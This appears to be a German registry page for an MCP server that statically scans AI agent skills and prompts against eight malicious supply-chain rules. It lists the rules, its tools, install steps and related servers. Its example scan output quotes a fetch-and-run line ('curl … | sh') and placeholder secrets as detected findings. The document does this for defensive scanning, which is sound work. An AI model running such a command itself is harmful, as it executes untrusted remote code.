mcp-skill-sec
mcp-skill-sec
Ein Model-Context-Protocol-Server (MCP-Server), der jede Art von Agent-Skill, Systemprompt oder heruntergeladener Dateisammlung gegen die 8 Muster bösartiger Skill-Lieferketten prüft.
Deterministisch, ohne LLM, ohne Netzwerkaufrufe — ein selbst hostbarer Vorinstallations-Scanner, der mit Claude Code, Cursor, Copilot, OpenClaw, Codex CLI und jedem MCP-kompatiblen Agenten funktioniert.
Wonach es scannt (Regeln R1–R8)
Regel | Muster |
R1 | Prompt-Injection / Anweisungs-Hijacking ( |
R2 | Datenexfiltrations-Absicht (Inhalte an eine URL senden/postieren/mailen, Log-Diebstahl) |
R3 | Hartkodierte Geheimnisse / Zugangsdaten (API-Schlüssel, PATs, private Schlüssel, Verbindungszeichenfolgen) |
R4 | Gefährliche Befehle ( |
R5 | Verschleierung / verstecktes Verhalten (base64-exec, eval/exec, Nullbreitenzeichen) |
R6 | Nicht vertrauenswürdige externe Abrufe (fetch-and-run, Nicht-PyPI-Installationen) |
R7 | Zugriff auf Zugangsdaten (Lesen von |
R8 | Privilegienausweitung ( |
Jeder Befund enthält eine severity-Einstufung (critical/high/medium/low),
eine Zeilennummer und die zugehörige Beweiszeile. Das Gesamturteil ist nur
dann PASS, wenn es keine critical/high-Befunde gibt und jeder
medium-Befund harmlos ist.
Related MCP server: tar-engine
Werkzeuge
audit_text(text, filename)— prüft einen String (einen Skill, der dir eingefügt wurde, einen Systemprompt, den du nicht geschrieben hast).audit_skill_file(path)— prüft eineSKILL.md/AGENTS.md/CLAUDE.mdauf der Festplatte; liefert Beweiszeilen mit Zeilennummern.audit_directory(path, pattern)— prüft eine gesamte heruntergeladene Skills-Sammlung; liefert Urteile pro Datei + eine Zusammenfassung.rule_list()— gibt den Regelkatalog aus.
Installation & Ausführung
pip install mcp
mcp install mcp_server.py --name skill-sec # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.pyClaude Desktop / Agent-Konfiguration
{
"mcpServers": {
"skill-sec": {
"command": "python3",
"args": ["/absolute/path/to/mcp_server.py"]
}
}
}Beispiel
skill-sec: /tmp/downloaded-skill/SKILL.md
verdict : FLAG
counts : critical 1, high 2, medium 1, low 0
R3 [critical] line 11: api_key = "sk-live-…"
R3 [high] line 14: password = "hunter2"
R4 [critical] line 22: curl https://x/y.sh | sh
action : remove the literal secrets, drop the fetch-and-run, re-auditLizenz & Herkunft
MIT. Geschrieben von sudo-ai-git. Dies ist ein eigenständiges
Sicherheits-/Verifizierungswerkzeug; es enthält keine proprietäre Methode.
Es ist die MCP-Umsetzung des skill-sec-Agent-Skills (gleiche Regeln,
als Server statt als Skill aufrufbar).
Offizielle MCP-Registry-Metadaten
mcp-name: io.github.sudo-ai-git/mcp-skill-sec
This server cannot be deployed
Maintenance
Related MCP Connectors
Scan AI agent skills and configs for hidden Unicode, prompt injection and exfiltration.
Scan AI agent skills, MCP server packages and MCP configs before you install them. Static analysis.
Scan GitHub-hosted AI skills for vulnerabilities: prompt injection, malware, OWASP LLM Top 10.
Scan configs, files, or text for leaked secrets and obvious misconfigurations. Nothing stored.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceStatic security scanner for AI agent skill packages that detects malicious SKILL.md files and bundled scripts before they run.15MIT
- AlicenseNot gradedqualityCmaintenanceAudits AI agent skills for safety using static, semantic, adversarial, and supply-chain analysis, providing scores and risk flags. Can be run via CLI, CI, or as an MCP tool from Claude Code, Cursor, and Codex.2Apache 2.0
- AlicenseNot gradedqualityCmaintenanceEnables authorized security auditing of AI-agent supply chains and agent-facing surfaces: deterministic local skill-bundle audits against eight attack patterns, secrets scanning, and scope-gated read-only recon of agent endpoints and MCP surfaces.MIT

yotta-verify-mcpofficial
AlicenseNot gradedqualityBmaintenanceProvides a deterministic pre-install security scan for Agent skills, plugins, and MCP servers via stdio, returning verdicts, audited badges, CI gates, and reports without executing code or making network calls.99 npmMIT